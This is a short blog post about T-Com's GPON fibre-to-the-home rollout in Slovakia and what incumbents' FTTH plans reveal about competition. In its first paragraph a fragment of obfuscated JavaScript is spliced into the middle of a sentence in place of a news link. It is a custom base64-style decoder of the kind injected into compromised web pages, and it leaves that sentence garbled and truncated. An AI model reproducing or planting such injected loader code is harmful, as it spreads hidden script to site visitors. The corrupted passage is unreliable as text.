Deutsche Telekom deploys FTTH… in Slovakia!

Sk_dp For the first time I've seen a firm announcement of numbers for the T-Com FTTH deployment in Slovakia. According to Broadband TV News, T-Com now function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandtvnews.com/2009/11/09/slovak-ftth-coverage-increases/">passes 275 000 homes in Slovakia. According to this press release from earlier this year, the solution is GPON and the vendor is Huawei.

What's interesting here is that T-Com is a subsidiary of Deutsche Telekom who seems - so far - to resist any pressure, market and otherwise, to deploy FTTH. Which goes to show that FTTH incumbent plans are a good measure of effective competition: most likely, if they have no plans, it's because they don't have much serious competition either...

In Slovakia, of course, T-Com faces Orange, who started deploying FTTH first.